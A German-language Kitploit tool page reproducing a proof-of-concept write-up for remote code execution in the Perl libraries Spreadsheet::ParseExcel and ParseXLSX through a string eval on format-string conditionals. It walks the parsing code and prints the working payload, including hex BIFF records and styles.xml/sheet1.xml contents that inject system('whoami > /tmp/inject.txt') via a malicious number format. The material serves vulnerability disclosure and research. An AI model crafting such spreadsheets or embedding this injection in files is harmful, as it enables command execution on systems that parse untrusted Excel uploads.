Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
perl_spreadsheet_excel_rce_poc — POC für RCE-Schwachstelle in der ParseExcel-Bibliothek und auch in ParseXLSX, als abhängige Bibliothek. | Kitploit
Tools/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPayload-EntwicklungBinary-Exploitation
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

POC für RCE-Schwachstelle in der ParseExcel-Bibliothek und auch in ParseXLSX, als abhängige Bibliothek.

Repository anzeigen
186vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ParseExcel Sicherheitslücke

TL;DR: RCE durch Logik beim Parsen von Formatzeichenfolgen.

Kurze Erklärung des Exploits

Die Hauptursache des Exploits liegt im Aufruf von eval auf eine nicht validierte Benutzereingabe in Utility.pm

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

root@kitploit:~
# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

Nach meiner Inspektion fehlt der aktuellen Implementierung dieses Ablaufs eine ordnungsgemäße Validierung, während die Verwendung von für Vergleichslogiken in diesem Fall übertrieben ist. Aus diesem Grund sind sowohl als auch (zum Lesen von Daten aus Excel-Dateien) anfällig für RCE.

eval
ParseExcel::parse
ParseXLSX::parse

Wo ist $format_str?

ValFmt ist der wahrscheinlichste Aufrufer von ExcelFmt, daher werde ich diese Methode näher erläutern. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

root@kitploit:~
sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

Wenn $oCell->{Type} Date oder Number ist, wird ExcelFmt aufgerufen.

Der Wert $format_str stammt aus einer anderen Methode: FmtString https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

root@kitploit:~
sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

Eine weitere Funktion wird aufgerufen, also werden wir auch FmtStringDef untersuchen. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

root@kitploit:~
sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

Alle Variablen sind klar, wir können den Angriffsvektor wie folgt zusammenfassen:

  • Füge die bösartige Formatzeichenfolge mit Index $iFmtIdx ein
  • Stelle sicher, dass ein Zellenformat $oBook->{Format}[$cellFmtIdx] auf $iFmtIdx verweist
  • Stelle sicher, dass eine Zelle auf dieses Zellenformat verweist ($oCell->{FormatNo} = $cellFmtIdx) ![[flow 1.png]]

In den folgenden Abschnitten werde ich detailliert erklären, wie die Nutzlast den Shell-Code an den eval-Befehl weitergeleitet hat. Es wird zwei Abschnitte geben: für das Parsen von .xls-Dateien mit ParseExcel und für das Parsen von .xlsx-Dateien mit ParseXLSX.

PoC

Zur Demonstration finden Sie unten den Link zu unseren präparierten bösartigen Excel-Dateien (im .xls- und .xlsx-Format), die whoami ausführen und das Ergebnis in der Datei /tmp/inject.txt speichern. https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

Exploitation auf XLS-Datei

Nehmen Sie ein einfaches Perl-Programm zum Parsen einer xls-Datei wie unten, das ParseExcel::parse verwendet. RCE wird während des Parsens ausgelöst, noch bevor Daten abgerufen werden.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

Einfügen der Formatzeichenfolge

Excel-97-Binärdateien sind in Blöcke von Binärdaten strukturiert, die als BIFF-Datensätze bezeichnet werden. Jeder Datensatz beginnt mit einem Header namens opCode (im Little-Endian-Format), gefolgt von der Länge des Datensatzes und seinen eigentlichen Daten.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

root@kitploit:~
sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

Danach wird ein entsprechender Handler für den Datensatztyp verwendet, um die BIFF-Datensatzdaten zu extrahieren. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

root@kitploit:~
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

Die Formatzeichenfolge wird von _subFormat mit opCode = 0x41E behandelt. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

root@kitploit:~
sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

Ich war mir nicht sicher, welche BIFF-Version in meiner .xls-Datei verwendet wurde, aber den Daten in der Binärdatei zufolge sollte sie dem else-Fall entsprechen (> verBIFF5).

Die Struktur des Formatzeichenfolgen-Datensatzes in neueren BIFF-Versionen sollte wie folgt sein: 1E 04 [Datensatzlänge - 2 Bytes] [Formatzeichenfolgen-Index - 2 Bytes] [Länge der Formatzeichenfolge - 1 Byte] [String-Flags - 2 Bytes] [Inhalt der Formatzeichenfolge]

Durch Befolgen der korrekten Struktur kann ich jede beliebige Formatzeichenfolge in die .xls-Datei einfügen.

Der tatsächliche BIFF-Datensatz für die Formatzeichenfolge, die ich im PoC eingefügt habe (Formatzeichenfolgen-Index ist \x00\xa5)

root@kitploit:~
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

Zuordnung eines Zellenformats zur Formatzeichenfolge

Zellenformate definieren viele Eigenschaften für eine Zelle, wie Formatzeichenfolge, Styling, Schriftarten usw. Ein Zellenformat kann mit einer Formatzeichenfolge verknüpft werden, indem der Index der Formatzeichenfolge in seinen BIFF-Datensatz aufgenommen wird. Diese Logik wird von _subXf behandelt. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

root@kitploit:~
sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

Da unsere BIFFVersion größer als BIFF5 ist, sollte die Bedingung nicht in den ersten Fall fallen. Für die anderen beiden wissen wir, dass $iIdx das zweite Wort in den BIFF-Daten ist. Daher ist es auch trivial, diesen Schritt durchzuführen.

Der tatsächliche BIFF-Datensatz für das Zellenformat, das ich im PoC verwendet habe

root@kitploit:~
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

Darüber hinaus werden Zellenformate durch ihren Index in einer Liste identifiziert, also habe ich den ersten Datensatz modifiziert, sodass mein Zellenformatindex 0 sein sollte.

Zuordnung einer Zelle zum Zellenformat

Damit eine Zelle ein Format anwendet, muss sie die ID des Zellenformats in ihrem BIFF-Datensatz enthalten. Wie bereits erwähnt, können jedoch nur Zellen vom Typ Number oder Date die RCE auslösen, daher werde ich für den PoC eine Zelle mit Datumstyp verwenden (bezeichnet als RK-BIFF-Datensatz). https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939

root@kitploit:~
sub _subRK {
    my ( $workbook, $biff_number, $length, $data ) = @_;
    my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
    my $number = _decode_rk_number( $rk_number );

    _NewCell(
        $workbook, $row, $col,
        Kind     => 'RK',
        Val      => $number,
        FormatNo => $format_index,
        Format   => $workbook->{Format}->[$format_index],
        Numeric  => 1,
        Code     => undef,
        Book     => $workbook,
    );
    #... 
}

Wir können sehen, dass der Index, der auf ein Zellenformat verweist, jetzt das dritte Wort des Datensatzes ist. Daher müssen wir dieses Wort nur auf \x00 setzen.

Der tatsächliche BIFF-Datensatz für die Datumszelle, die ich im PoC verwendet habe

root@kitploit:~
00000000: 7e02 0a00 0000 0000 0000 201a e240       ~......... ..@
                              ^^^^
	                        format index

Beachten Sie, dass die Methode _subRK den Typ Date noch nicht explizit definiert hat. Die Typprüfung wird stattdessen in chkType implementiert. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181

root@kitploit:~
sub ChkType {
    my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
    if ($iNumeric) {
        if (   ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
            || ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
        {
            return "Date";
        }
        else {
            return "Numeric";
        }
    }
    else {
        return "Text";
    }
}

Da $iNumeric auf 1 gesetzt ist, sind wir sicher, dass der Typ nicht Text ist.

Schließlich wird beim Initialisieren eines neuen Cell-Objekts ValFmt aufgerufen und die Ausführungskette fortgesetzt, um unsere Shell an die eval-Methode weiterzuleiten. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433

Exploitation auf XLSX-Datei

Die Arbeit mit .xlsx-Dateien ist wesentlich einfacher, da wir die Daten direkt im Klartext (XML-Format) ändern können. Nehmen Sie ein einfaches Perl-Programm zum Parsen einer xls-Datei wie unten, das ParseXLSX::parse verwendet. RCE wird während des Parsens ausgelöst, noch bevor Daten abgerufen werden.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;

my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");

Eine XLSX-Datei ist eine ZIP-Datei, die viele XML-Dateien komprimiert, die jeweils bestimmte Datentypen der Arbeitsmappe enthalten. Unten ist ein Beispiel der Ordnerstruktur:

root@kitploit:~
|- [Content_Types].xml 
|- _rels
|- docProps
	|- app.xml
	|- core.xml
|- xl
	|- _rels   
		|- workbook.xml.rels          
	|- styles.xml              <--- Format strings & cell formats       
	|- workbook.xml
	|- sharedStrings.xml 
	|- theme             
		|- theme1.xml
	|- worksheets
		|- sheet1.xml            <--- Cell values

Einfügen der Formatzeichenfolge & Zuordnung zu einem Zellenformat

Die Formatzeichenfolge ist in der Datei xl/styles.xml unter dem Tag <numFmts> enthalten, während Zellenformate unter dem Tag <cellXfs> definiert sind. https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923

root@kitploit:~
sub _parse_styles {
    # ...
    my %format_str = (
        %default_format_str,
        (map {
            $_->att('numFmtId') => $_->att('formatCode')
        } $styles->find_nodes('//s:numFmts/s:numFmt')),
    );
    # ...
    my @format = map {
        my %opts = (
            %default_format_opts,
            %ignore,
        );
        # ...
        $opts{FmtIdx}   = 0+($xml_fmt->att('numFmtId')||0);
        # ...
        Spreadsheet::ParseExcel::Format->new(%opts)
    } $styles->find_nodes('//s:cellXfs/s:xf');
    # ...
    
    
    return {
        FormatStr => \%format_str,
        Font      => \@font,
        Format    => \@format,
    }
}

Um eine Formatzeichenfolge einzufügen, müssen wir ein Tag <numFmt> hinzufügen, wobei formatCode die Formatzeichenfolge ist und numFmtId ein beliebiger ganzzahliger Wert sein kann. Hier habe ich 123 verwendet.

Danach fügen wir eine weitere <xf>-Zelle hinzu, die auf die Formatzeichenfolge verweist, wobei das Attribut numFmtId unsere ausgewählte ID (123) ist.

Die endgültigen XML-Daten, die ich im PoC verwendet habe

root@kitploit:~
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
  <numFmts count="1">
    <!-- injected format string -->
    <numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
  </numFmts> 
...
  <cellXfs count="4">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
      <alignment horizontal="center"/>
    </xf>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
    <!-- injected cell format -->
    <xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
  </cellXfs>
...
</styleSheet>

Zuordnung einer Zelle zum Zellenformat

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L205-L487

root@kitploit:~
sub _parse_sheet {
    my $sheet_xml = $self->_new_twig(
        twig_roots => {
            #...
            's:sheetData/s:row' => sub {
                my ( $twig, $row_elt ) = @_;
                for my $cell ( $row_elt->children('s:c') ){
                    my $type = $cell->att('t') || 'n';
                    my $val = $val_xml ? $val_xml->text : undef;

                    #...
                    elsif ($type eq 'n') {
                        $long_type = 'Numeric';
                        $val = defined($val) ? 0+$val : undef;
                    }
                    elsif ($type eq 'd') {
                        $long_type = 'Date';
                    }
                    # other $type results into $long_type = 'Text'
                    #...
                    
                    my $format_idx = $cell->att('s') || 0;
                    my $format = $sheet->{_Book}{Format}[$format_idx];
                    die "unknown format $format_idx" unless $format;
                    
                    my $cell = Spreadsheet::ParseExcel::Cell->new(
                        Val      => $val,
                        Type     => $long_type,
                        Merged   => undef, # fix up later
                        Format   => $format,
                        FormatNo => $format_idx,
                        ($formula
                            ? (Formula => $formula->text)
                            : ()),
                        Rich     => $Rich,
                    );
                    $cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
                        $cell, $sheet->{_Book}
                    );
                }
            }
        }
    )
}

Die Logik zum Lesen von Zelldaten in dieser Bibliothek ist einfacher: Typ und Wert werden direkt aus den XML-Tag-Attributen zugewiesen. Da wir $oCell->{Type} auf Date oder Numeric setzen müssen, muss das Attribut t den Wert d oder n haben. Um die Zelle dem Zellenformat zuzuordnen, setzen wir auch das Attribut s auf den Index des Zellenformats (3).

Die endgültigen XML-Daten, die ich im PoC verwendet habe

root@kitploit:~
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
  ...
  <sheetData>
    <row r="1" spans="1:2" x14ac:dyDescent="0.2">
      <c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
        <v>0</v>
      </c>
      <c r="B1" s="2"/>
    </row>
  </sheetData>
  ...
</worksheet>
Tool herunterladen